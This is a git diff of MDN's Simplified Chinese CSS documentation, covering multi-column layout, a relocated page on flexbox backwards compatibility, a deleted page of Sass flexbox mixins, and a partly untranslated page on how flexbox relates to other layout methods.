<div style="columns:12 8em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

高度平衡

+ +

CSS3多列规范需要列高平衡:即,浏览器自动设置最大列高,因此每列中的内容高度大致相同。Firefox浏览器是这样的。

+ +

然而,一些情况下,明确设置最大列高也是有用的,这样内容从第一列开始,尽可能多的生成列,甚至会溢出右边沿。因此,如果通过设置{{ cssxref("height") }} 或 {{ cssxref("max-height") }} 属性来限制列高,在生成新的一列之前每一列都会仅允许增加到这个高度。该模型对布局来说也更高效。

+ +

列间隙

+ +

列之间有缝隙。建议值为1em。该值可通过设置多列模块的 {{ Cssxref("column-gap") }} 属性来修改:

+ +
<div style="column-width:20em; column-gap:2em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

优雅降级

+ +

多列属性会被不支持多列模型的浏览器忽略。因此,为这些浏览器创建单列结构而为支持多列的浏览器创建多列结构相对来说比较简单。

+ +

注意不是所有的浏览器都支持不带前缀的属性名。为了在大多数现代浏览器中应用这种特性,每个属性必须写三次: 一次用 {{ property_prefix("-moz") }} 前缀,一次用 {{ property_prefix("-webkit") }} 前缀,一次不使用前缀

+ +

讨论

+ +

CSS3 多列特性能帮助网页设计者最优化使用屏幕资源。如果你是一位具有丰富想象力的开发者,你会发现多列特性更多的好处,特别是在高度平衡特性方面。

+ +

其它

+ + + +
 
+ +
 
+ +
 
diff --git a/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html new file mode 100644 index 0000000000..df269a9211 --- /dev/null +++ b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -0,0 +1,121 @@ +--- +title: Flexbox的向下支持 +slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 +tags: + - '@supports' + - IE + - Safari + - flexbox + - 兼容 + - 弹性盒子 + - 旧版本 + - 浏览器 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +--- +

{{CSSRef}}

+ +

虽然弹性盒子被各种现代浏览器很好的支持, 但是你或许还会遇到一些问题。在这个文档中,我们将会了解到浏览器支持弹性盒子的情况和一些潜在的问题, 以及处理它们的资源和方法。

+ +

弹性盒子的历史

+ +

与所有CSS标准一样,弹性盒子标准经历了一系列的改动,直到它成为我们现有的候选推荐版本。作为候选推荐,我们不该着重于当下对于该规范的大量变动,尽管历来弹性盒子的迭代情况有所不同。

+ +

弹性盒子曾在许多浏览器中作为实验功能的方式被实现。当时进行实验性的实现的方式是使用浏览器前缀。这种关于前缀的构思是为了让规范的实现能被测试,并被浏览器工程师和网页开发者等在不和其他实现冲突的情况下浏览。也就是说不再生产代码中使用实验性的实现。然后,前缀最终被用在了生产代码中,结果对实验性规范的不管修改导致了人们需要不断对网站进行对应的修改。

+ +

在2009年时,规则看起来很不一样。当时,要创建一个弹性容器你会用display: box ,会有一大堆 box-* 属性,和现在的弹性盒子显然完全不同。

+ +

曾有一个规范的更新将语法换成了 display: flexbox ——这仍旧是浏览器前缀。

+ +

最后规范被修改成,定义 display: flex 作为创建弹性容器的方式。对于最新版本规范的浏览器支持自此就尽善尽美了。

+ +

有很多老的关于弹性盒子规范旧版本的文章还存着,但他们都容易通过弹性盒子容器创建的方式来辨别。如果你在其中找到任何关于display: box或者display: flexbox的内容,那么它们就是过时的信息。

+ +

浏览器支持情况

+ +

现代浏览器能够很好的支持flexbox,并且大多数浏览器不需要前缀。2015年,Safari9是最后一个移除前缀的主流浏览器。2个需要注意浏览器兼容的浏览器是:

+ + + +

现在,IE11 已经支持display: flex,但是在使用的时候会有一些bug。

+ +

常见问题

+ +

由于经过了发展,flexbox的大多数问题与规范的变更有关,而且事实上我们很多人都试图在生产中环境中使用实验性的规范。 如果您要确保与旧版本的浏览器(尤其是IE10和11)向后兼容,则 Flexbugs 网站是一个有用的资源。 您将看到许多列出的bug都适用于旧的浏览器版本,并且在当前的浏览器中已修复。 每个错误都有列出的解决方法-可以节省许多时间。

+ +

如果你想要支持非常旧的浏览器使用flexbox属性,在CSS中加入:

+ +
.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+ +

Autoprefixer Online是查看推荐使用前缀浏览器的有效方式,具体取决于您希望通过浏览器支持返回多少版本。 您还可以从 Can I Use 中以获取浏览器支持的信息,以便在已经支持的浏览器中删除前缀

+ +

有用的向下支持技术

+ +

假设弹性盒子使用 {{cssxref("display")}} 的属性值定义,当我们需要为不支持弹性盒子的旧版本的浏览器提供支持时,向下支持(fallback)技术可以用来覆写布局方式。如果你使用其他布局方法作用于一个元素,随后该元素又成为了弹性盒子的 item,规范定义了会发生什么。

+ +

浮动元素

+ +
+

“浮动和清除浮动不会在 flex item 上触发浮动和清除行为,并且不会脱离当前文档流。” - 3. Flex Containers

+
+ +

在下面的示例中,我将两个块级元素浮动,然后给容器设置了 display: flex。这两个元素现在变成了弹性盒子元素,意味着它们会伸展使得高度相同,并且没有应用任何浮动行为。

+ +

你可以通过移除 display: flex 属性来测试这项向下支持行为。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

+ +

display: inline-block

+ +

一旦一个 inline-block 元素成为了一个弹性盒子元素,那么它将被块级化,因此 display: inline-block 属性的诸如在元素间保留空白符等行为将不会被应用。

+ +

移除 display: flex 属性来查看该向下支持行为,你将会看见这两个元素之间多出的空白符,这是因为使用 display: inine-block 时会把空白符当成其他行内元素对待。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

+ +

display: table-

+ +

CSS 中表格相关的系列属性可能是非常有用的向下支持技术,因为它们允许一些设计模式,例如全高度列和垂直居中等,甚至可以向后兼容至 IE8。

+ +

假如你在 HTML 中对一个元素使用 display: table-cell,它将呈现为表格单元格样式。CSS 会创建一个匿名盒子来呈现这些元素,这样你就不用包裹每一个元素来呈现表格的行(row),以及另外一个元素来呈现这个表格自身。你无法看见或修改这些匿名盒子的样式,它们只是单纯的用来修补文档树。

+ +

如果你在父元素上设置了 display: flex,这些匿名盒子将不会被创建,这样你的元素就保留直接的子元素并成为了一个弹性盒子元素 — 失去所有表格元素的特性。

+ +
+

“注意:display 的某些属性值通常会在初始盒子周围触发匿名盒子的创建行为。如果该盒子是一个弹性盒子元素,那么它会先被块级化,使得匿名盒子不会被创建。例如,两个连续的弹性盒子元素设置了 display: table-cell 后,将会成为两个独立分开的 display: block 弹性盒子元素,而不是被包裹近单独的一个匿名表格中。” - 4. Flex Items

+
+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

+ +

vertical-align 属性

+ +

下面的示例展示了 {{cssxref("vertical-align")}} 属性与 display: inline-block 结合使用的情况。display: table-cell 和 display: inline-block 都允许使用该属性。使用 vertical-align 可以使垂直排列优先于弹性盒子。这个属性会被弹性盒子忽略,这样你就可以将它与 display: table-cell 或者 display: inline-block 结合使用来作为一个向下支持技巧,然后就可以在弹性盒子中安全地使用盒子排列属性。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

+ +

特性枚举与弹性盒子

+ +

你可以使用特性枚举(feature queries)来检查弹性盒子的支持情况:

+ +
@supports (display: flex) {
+  // 添加在支持的浏览器中书写的样式代码
+}
+ +

注意 Internet Explorer 11 不支持特性枚举,但是支持弹性盒子。如果你觉得在 IE11 中实现不易并且希望对它使用向下支持布局,那么你可以使用特性枚举只在对弹性盒子支持良好的浏览器中使用弹性盒子属性规则。需要记住的是,如果你想用浏览器厂商前缀的弹性盒子属性来包含某版本的浏览器,你需要在特性枚举中包含该版本浏览器的前缀。下面的特性枚举例子就兼容了 UC 浏览器,它支持特性枚举并且支持旧版弹性盒子语法:

+ +
@supports (display: flex) or (display: -webkit-box) {
+  // code for supporting browsers
+}
+ +

查看更多关于特性枚举的信息请访问:Using Feature Queries in CSS

+ +

结尾

+ +

当我在这个指南中花时间来检查潜在的问题和向下支持技巧时,弹性盒子已经做好了在生产环境中运作的充分准备。该指南可能会在你遇到问题或者需要支持旧版本浏览器时帮到你。

diff --git "a/files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" "b/files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" deleted file mode 100644 index df269a9211..0000000000 --- "a/files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Flexbox的向下支持 -slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 -tags: - - '@supports' - - IE - - Safari - - flexbox - - 兼容 - - 弹性盒子 - - 旧版本 - - 浏览器 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox ---- -

{{CSSRef}}

- -

虽然弹性盒子被各种现代浏览器很好的支持, 但是你或许还会遇到一些问题。在这个文档中,我们将会了解到浏览器支持弹性盒子的情况和一些潜在的问题, 以及处理它们的资源和方法。

- -

弹性盒子的历史

- -

与所有CSS标准一样,弹性盒子标准经历了一系列的改动,直到它成为我们现有的候选推荐版本。作为候选推荐,我们不该着重于当下对于该规范的大量变动,尽管历来弹性盒子的迭代情况有所不同。

- -

弹性盒子曾在许多浏览器中作为实验功能的方式被实现。当时进行实验性的实现的方式是使用浏览器前缀。这种关于前缀的构思是为了让规范的实现能被测试,并被浏览器工程师和网页开发者等在不和其他实现冲突的情况下浏览。也就是说不再生产代码中使用实验性的实现。然后,前缀最终被用在了生产代码中,结果对实验性规范的不管修改导致了人们需要不断对网站进行对应的修改。

- -

在2009年时,规则看起来很不一样。当时,要创建一个弹性容器你会用display: box ,会有一大堆 box-* 属性,和现在的弹性盒子显然完全不同。

- -

曾有一个规范的更新将语法换成了 display: flexbox ——这仍旧是浏览器前缀。

- -

最后规范被修改成,定义 display: flex 作为创建弹性容器的方式。对于最新版本规范的浏览器支持自此就尽善尽美了。

- -

有很多老的关于弹性盒子规范旧版本的文章还存着,但他们都容易通过弹性盒子容器创建的方式来辨别。如果你在其中找到任何关于display: box或者display: flexbox的内容,那么它们就是过时的信息。

- -

浏览器支持情况

- -

现代浏览器能够很好的支持flexbox,并且大多数浏览器不需要前缀。2015年,Safari9是最后一个移除前缀的主流浏览器。2个需要注意浏览器兼容的浏览器是:

- - - -

现在,IE11 已经支持display: flex,但是在使用的时候会有一些bug。

- -

常见问题

- -

由于经过了发展,flexbox的大多数问题与规范的变更有关,而且事实上我们很多人都试图在生产中环境中使用实验性的规范。 如果您要确保与旧版本的浏览器(尤其是IE10和11)向后兼容,则 Flexbugs 网站是一个有用的资源。 您将看到许多列出的bug都适用于旧的浏览器版本,并且在当前的浏览器中已修复。 每个错误都有列出的解决方法-可以节省许多时间。

- -

如果你想要支持非常旧的浏览器使用flexbox属性,在CSS中加入:

- -
.wrapper {
-  display: -webkit-box;
-  display: -webkit-flex;
-  display: -ms-flexbox;
-  display: flex;
-}
- -

Autoprefixer Online是查看推荐使用前缀浏览器的有效方式,具体取决于您希望通过浏览器支持返回多少版本。 您还可以从 Can I Use 中以获取浏览器支持的信息,以便在已经支持的浏览器中删除前缀

- -

有用的向下支持技术

- -

假设弹性盒子使用 {{cssxref("display")}} 的属性值定义,当我们需要为不支持弹性盒子的旧版本的浏览器提供支持时,向下支持(fallback)技术可以用来覆写布局方式。如果你使用其他布局方法作用于一个元素,随后该元素又成为了弹性盒子的 item,规范定义了会发生什么。

- -

浮动元素

- -
-

“浮动和清除浮动不会在 flex item 上触发浮动和清除行为,并且不会脱离当前文档流。” - 3. Flex Containers

-
- -

在下面的示例中,我将两个块级元素浮动,然后给容器设置了 display: flex。这两个元素现在变成了弹性盒子元素,意味着它们会伸展使得高度相同,并且没有应用任何浮动行为。

- -

你可以通过移除 display: flex 属性来测试这项向下支持行为。

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

- -

display: inline-block

- -

一旦一个 inline-block 元素成为了一个弹性盒子元素,那么它将被块级化,因此 display: inline-block 属性的诸如在元素间保留空白符等行为将不会被应用。

- -

移除 display: flex 属性来查看该向下支持行为,你将会看见这两个元素之间多出的空白符,这是因为使用 display: inine-block 时会把空白符当成其他行内元素对待。

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

- -

display: table-

- -

CSS 中表格相关的系列属性可能是非常有用的向下支持技术,因为它们允许一些设计模式,例如全高度列和垂直居中等,甚至可以向后兼容至 IE8。

- -

假如你在 HTML 中对一个元素使用 display: table-cell,它将呈现为表格单元格样式。CSS 会创建一个匿名盒子来呈现这些元素,这样你就不用包裹每一个元素来呈现表格的行(row),以及另外一个元素来呈现这个表格自身。你无法看见或修改这些匿名盒子的样式,它们只是单纯的用来修补文档树。

- -

如果你在父元素上设置了 display: flex,这些匿名盒子将不会被创建,这样你的元素就保留直接的子元素并成为了一个弹性盒子元素 — 失去所有表格元素的特性。

- -
-

“注意:display 的某些属性值通常会在初始盒子周围触发匿名盒子的创建行为。如果该盒子是一个弹性盒子元素,那么它会先被块级化,使得匿名盒子不会被创建。例如,两个连续的弹性盒子元素设置了 display: table-cell 后,将会成为两个独立分开的 display: block 弹性盒子元素,而不是被包裹近单独的一个匿名表格中。” - 4. Flex Items

-
- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

- -

vertical-align 属性

- -

下面的示例展示了 {{cssxref("vertical-align")}} 属性与 display: inline-block 结合使用的情况。display: table-cell 和 display: inline-block 都允许使用该属性。使用 vertical-align 可以使垂直排列优先于弹性盒子。这个属性会被弹性盒子忽略,这样你就可以将它与 display: table-cell 或者 display: inline-block 结合使用来作为一个向下支持技巧,然后就可以在弹性盒子中安全地使用盒子排列属性。

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

- -

特性枚举与弹性盒子

- -

你可以使用特性枚举(feature queries)来检查弹性盒子的支持情况:

- -
@supports (display: flex) {
-  // 添加在支持的浏览器中书写的样式代码
-}
- -

注意 Internet Explorer 11 不支持特性枚举,但是支持弹性盒子。如果你觉得在 IE11 中实现不易并且希望对它使用向下支持布局,那么你可以使用特性枚举只在对弹性盒子支持良好的浏览器中使用弹性盒子属性规则。需要记住的是,如果你想用浏览器厂商前缀的弹性盒子属性来包含某版本的浏览器,你需要在特性枚举中包含该版本浏览器的前缀。下面的特性枚举例子就兼容了 UC 浏览器,它支持特性枚举并且支持旧版弹性盒子语法:

- -
@supports (display: flex) or (display: -webkit-box) {
-  // code for supporting browsers
-}
- -

查看更多关于特性枚举的信息请访问:Using Feature Queries in CSS

- -

结尾

- -

当我在这个指南中花时间来检查潜在的问题和向下支持技巧时,弹性盒子已经做好了在生产环境中运作的充分准备。该指南可能会在你遇到问题或者需要支持旧版本浏览器时帮到你。

diff --git a/files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html b/files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html deleted file mode 100644 index d2054bc725..0000000000 --- a/files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html +++ /dev/null @@ -1,408 +0,0 @@ ---- -title: 使用弹性盒子进行高级布局 -slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins -tags: - - CSS3布局模型 - - Flexible_Box - - Flexible_Box_Layout - - Layout - - 弹性盒子 - - 弹性盒子模型 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins ---- -

使用弹性盒子的意义是在任何尺寸的屏幕上改变其和其子元素的尺寸填充屏幕可用空间。一个弹性框容器将延展它的子元素以填充可用空间,并且缩小它的子元素来避免溢出。

- -

浮动布局的问题

- - - -

弹性盒子如何处理

- - - -

弹性盒子属性

- -

placeholder

- - - -

弹性容器属性

- - - -

弹性元素属性

- - - -

弹性盒子混合

- -

对于希望在现代浏览器原生支持下使用弹性盒子的用户,这里有全部的支撑表格:http://caniuse.com/flexbox

- -

将会使用:

- - - -

启发于:

- - - -

可以从这些地方获取帮助:

- - - -

弹性容器

- -

“flex”值会引起一个元素生成一个盒级的弹性盒子。

- -

“inline-flex”会生成一个行内弹性盒子。

- -

display: flex | inline-flex http://w3.org/tr/css3-flexbox/#flex-containers

- -
-
@mixin flexbox {
-  display: -webkit-box;
-  display: -webkit-flex;
-  display: -moz-flex;
-  display: -ms-flexbox;
-  display: flex;
-}
-
-// 使用这样的混合模式
-%flexbox { @include flexbox; }
-
- -
-
@mixin inline-flex {
-  display: -webkit-inline-box;
-  display: -webkit-inline-flex;
-  display: -moz-inline-flex;
-  display: -ms-inline-flexbox;
-  display: inline-flex;
-}
-
-%inline-flex { @include inline-flex; }
-
- -

弹性盒子方向

- -

“flex-direction”属性通过设置容器主轴来定义弹性元素如何在容器内排列。这个属性确定了弹性元素排列的方向。

- -

值:row | row-reverse | column | column-reverse

- -

http://w3.org/tr/css3-flexbox/#flex-direction-property

- -
-
@mixin flex-direction($value: row) {
-  @if $value == row-reverse {
-    -webkit-box-direction: reverse;
-    -webkit-box-orient: horizontal;
-  } @else if $value == column {
-    -webkit-box-direction: normal;
-    -webkit-box-orient: vertical;
-  } @else if $value == column-reverse {
-    -webkit-box-direction: reverse;
-    -webkit-box-orient: vertical;
-  } @else {
-    -webkit-box-direction: normal;
-    -webkit-box-orient: horizontal;
-  }
-  -webkit-flex-direction: $value;
-  -moz-flex-direction: $value;
-  -ms-flex-direction: $value;
-  flex-direction: $value;
-}
-
-// 简短版本:
-@mixin flex-dir($args...) { @include flex-direction($args...); }
-
- -

弹性盒子换行

- -

“flex-wrap”属性控制了容器为单行还是多行。并且定义了侧轴的方向,新行将沿侧轴方向堆砌。

- -

值:nowrap | wrap | wrap-reverse

- -

默认:nowrap

- -

http://w3.org/tr/css3-flexbox/#flex-wrap-property

- -
-
@mixin flex-wrap($value: nowrap) {
-  // No Webkit Box fallback.
-  -webkit-flex-wrap: $value;
-  -moz-flex-wrap: $value;
-  @if $value == nowrap {
-    -ms-flex-wrap: none;
-  } @else {
-    -ms-flex-wrap: $value;
-  }
-  flex-wrap: $value;
-}
-
- -

弹性盒子流(简写)

- -

“flex-flow”属性是设置“flex-direction”和“flex-wrap”的简写,可以同时定义主轴和侧轴。

- -

默认值:row nowrap

- -

http://w3.org/tr/css3-flexbox/#flex-flow-property

- -
-
@mixin flex-flow($values: (row nowrap)) {
-  // No Webkit Box fallback.
-  -webkit-flex-flow: $values;
-  -moz-flex-flow: $values;
-  -ms-flex-flow: $values;
-  flex-flow: $values;
-}
-
- -

弹性盒子顺序

- -

“order”属性通过将这些元素分配到序数分组来控制它们出现的顺序。

- -

默认值:0

- -

http://w3.org/tr/css3-flexbox/#order-property

- -
-
@mixin order($int: 0) {
-  -webkit-box-ordinal-group: $int + 1;
-  -webkit-order: $int;
-  -moz-order: $int;
-  -ms-flex-order: $int;
-  order: $int;
-}
-
- -

弹性盒子增长

- -

“flex-grow”属性设置增长因数,不接受负值。

- -

默认值:0

- -

http://w3.org/tr/css3-flexbox/#flex-grow-property

- -
-
@mixin flex-grow($int: 0) {
-  -webkit-box-flex: $int;
-  -webkit-flex-grow: $int;
-  -moz-flex-grow: $int;
-  -ms-flex-positive: $int;
-  flex-grow: $int;
-}
-
- -

弹性盒子收缩

- -

“flex-shrink”属性设置了收缩因数,不接受负值。

- -

默认值:1

- -

http://w3.org/tr/css3-flexbox/#flex-shrink-property

- -
-
@mixin flex-shrink($int: 1) {
-  -webkit-flex-shrink: $int;
-  -moz-flex-shrink: $int;
-  -ms-flex-negative: $int;
-  flex-shrink: $int;
-}
-
- -

弹性盒子伸缩

- -

“flex-basis”属性设置了弹性框伸缩的基准值,不接受负值。

- -

值:类似“width”,默认值:auto

- -

http://www.w3.org/TR/css3-flexbox/#flex-basis-property

- -
-
@mixin flex-basis($value: auto) {
-  -webkit-flex-basis: $value;
-  -moz-flex-basis: $value;
-  -ms-flex-preferred-size: $value;
-  flex-basis: $value;
-}
-
- -

弹性盒子“Flex”属性(简写)

- -

flex”属性设置了弹性盒子长度的组成,包括增长因数、收缩因数和伸缩基准值。对于一个弹性元素,“flex”属性会被用来设置元素的尺寸,对于一个非弹性元素,该属性无效。

- -

值:none | ||

- -

默认值:见独立属性(1 1 0)

- -

http://w3.org/tr/css3-flexbox/#flex-property

- -
-
@mixin flex($fg: 1, $fs: null, $fb: null) {
-
-  // Set a variable to be used by box-flex properties
-  $fg-boxflex: $fg;
-
-  // Box-Flex only supports a flex-grow value so lets grab the
-  // first item in the list and just return that.
-  @if type-of($fg) == 'list' {
-    $fg-boxflex: nth($fg, 1);
-  }
-
-  -webkit-box-flex: $fg-boxflex;
-  -webkit-flex: $fg $fs $fb;
-  -moz-box-flex: $fg-boxflex;
-  -moz-flex: $fg $fs $fb;
-  -ms-flex: $fg $fs $fb;
-  flex: $fg $fs $fb;
-}
-
- -

弹性盒子对齐方式

- -

“justify-content”属性将弹性元素沿容器主轴方向对齐。当所有弹性元素的长度和边距都设置好之后,布局完成。一般情况下,当行内所有弹性元素尺寸不可变或可变且达到最大尺寸的情况下,该属性会分配剩余可用空间。同时,当元素溢出行的时候,它也会对其排列做出控制。

- -

提示:以前版本的语法不支持“space-*”值。

- -

值:flex-start | flex-end | center | space-between | space-around 默认值:flex-start

- -

http://w3.org/tr/css3-flexbox/#justify-content-property

- -
-
@mixin justify-content($value: flex-start) {
-  @if $value == flex-start {
-    -webkit-box-pack: start;
-    -ms-flex-pack: start;
-  } @else if $value == flex-end {
-    -webkit-box-pack: end;
-    -ms-flex-pack: end;
-  } @else if $value == space-between {
-    -webkit-box-pack: justify;
-    -ms-flex-pack: justify;
-  } @else if $value == space-around {
-    -ms-flex-pack: distribute;
-  } @else {
-    -webkit-box-pack: $value;
-    -ms-flex-pack: $value;
-  }
-  -webkit-justify-content: $value;
-  -moz-justify-content: $value;
-  justify-content: $value;
-}
-  // Shorter version:
-  @mixin flex-just($args...) { @include justify-content($args...); }
-
- -

弹性元素对齐

- -

可以设置弹性元素在容器侧轴上的对齐方式,与“justify-content”功能相似但是方向垂直。“align-items”设置弹性盒子的所有子元素的对齐方式,包括匿名弹性元素。元素可以通过单独设置“align-self”来覆盖该属性。(对于匿名弹性元素,“align-self'”属性总是与“align-items”相同。)

- -

值:flex-start | flex-end | center | baseline | stretch 默认值:stretch

- -

http://w3.org/tr/css3-flexbox/#align-items-property

- -
-
@mixin align-items($value: stretch) {
-  @if $value == flex-start {
-    -webkit-box-align: start;
-    -ms-flex-align: start;
-  } @else if $value == flex-end {
-    -webkit-box-align: end;
-    -ms-flex-align: end;
-  } @else {
-    -webkit-box-align: $value;
-    -ms-flex-align: $value;
-  }
-  -webkit-align-items: $value;
-  -moz-align-items: $value;
-  align-items: $value;
-}
-
- -

弹性元素自对齐

- -

用来单独设置弹性元素在侧轴的对齐方式,功能与“align-items”相同。可以覆盖“align-items”属性。

- -

值:auto | flex-start | flex-end | center | baseline | stretch 默认值:auto

- -
-
@mixin align-self($value: auto) {
-  // No Webkit Box Fallback.
-  -webkit-align-self: $value;
-  -moz-align-self: $value;
-  @if $value == flex-start {
-    -ms-flex-item-align: start;
-  } @else if $value == flex-end {
-    -ms-flex-item-align: end;
-  } @else {
-    -ms-flex-item-align: $value;
-  }
-  align-self: $value;
-}
-
- -

弹性元素内容对齐

- -

“align-content”属性设置了容器内每行沿侧轴的对齐方式。与“justify-content”属性在主轴方向对齐单独元素的方式相似。如果容器内只有一行,该属性无效。

- -

值:flex-start | flex-end | center | space-between | space-around | stretch 默认值:stretch

- -

http://w3.org/tr/css3-flexbox/#align-content-property

- -
-
@mixin align-content($value: stretch) {
-  // No Webkit Box Fallback.
-  -webkit-align-content: $value;
-  -moz-align-content: $value;
-  @if $value == flex-start {
-    -ms-flex-line-pack: start;
-  } @else if $value == flex-end {
-    -ms-flex-line-pack: end;
-  } @else {
-    -ms-flex-line-pack: $value;
-  }
-  align-content: $value;
-}
-
diff --git a/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html new file mode 100644 index 0000000000..c90b3416a5 --- /dev/null +++ b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html @@ -0,0 +1,123 @@ +--- +title: 弹性盒子与其他布局方法的联系 +slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 +tags: + - CSS + - box alignment + - flexbox +translation_of: >- + Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +--- +
{{CSSRef}}
+ +

在本文中,我们将了解弹性盒子(Flexbox)如何与所有其他CSS模块相适应。如果您想学习flexbox,我们将一起找出需要注意的规范和flexbox与一些其他模块不同的原因。

+ +
+

注意:CSS 1和CSS 2是一个单一的整体规范,其中所有CSS都定义在一个文档中。随着CSS成为一种功能更加丰富的语言,各个部分有不同的发展速度,如何维护一个庞大的规范就成了问题。因此现在的CSS是模块化的,不同的CSS模块有不同的规范,一起构成了现在的CSS。这些模块之间相互关联,并且处于不同的开发阶段。

+
+ +

box alignment 模块

+ +

许多人开始关注flexbox的最初原因是在flex容器中能够很好的对齐其中的元素。flexbox可以设置在其交叉轴以及主轴上的对齐属性。

+ +

这些属性最开始出现在flexbox规范中,现在已经成为Box Alignment规范的一部分。 这个规范详细说明了在所有布局中(不仅仅是flexbox)对齐属性是如何起作用的。 对齐属性用于设置元素对齐方式和沿轴的空间分配。

+ +

之所以在flexbox规范和box alignment模块规范中都有对对齐属性的详细描述,是为了确保flexbox规范的完成不会受box alignment模块规范的影响,因为后者需要详细说明所有的布局类型中的对齐方法。flexbox规范中有一条注释指出将来一旦Box Alignment Level 3完成,它将会取代flexbox规范中的相关定义:

+ +
+

“注意:虽然对齐属性是在CSS Box Alignment [CSS-ALIGN-3]中定义的,但“ Flexible Box Layout”在此处重现了相关属性的定义,以免形成规范性的依赖关系,而这可能会减慢规范的发展。这些属性仅适用于Flex布局,直到CSS Box Alignment Level 3完成并定义其对其他布局模式的效果;此外,在Box Alignment模块中定义的任何新值都将应用于Flexible Box Layout;换句话说,一旦Box Alignment模块完成,其中的相关定义将取代此处的定义。”

+
+ +

在本系列的后续文章(在flex容器中对齐元素)中,我们将彻底研究Box Alignment属性如何应用于flex元素。

+ +

gap属性

+ +

属性{{cssxref("row-gap")}} 和 {{cssxref("column-gap")}},其简写为{{cssxref("gap")}},近期添加到了盒子布局规范中。这些属性(名称为grid-row-gap, grid-column-gap and grid-gap)最初定义在CSS网格布局中。但是他们被重命名并移入盒子布局规范。这样的话,所有的布局方法都可以使用这些属性。不过在浏览器实现Flex的这些属性之前只能通过{{cssxref("margin")}} 来控制元素之间的间隙距离。

+ +

Writing Modes

+ +

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

+ +

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

+ +

The writing modes

+ +

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

+ + + +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

+ +

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

+ +

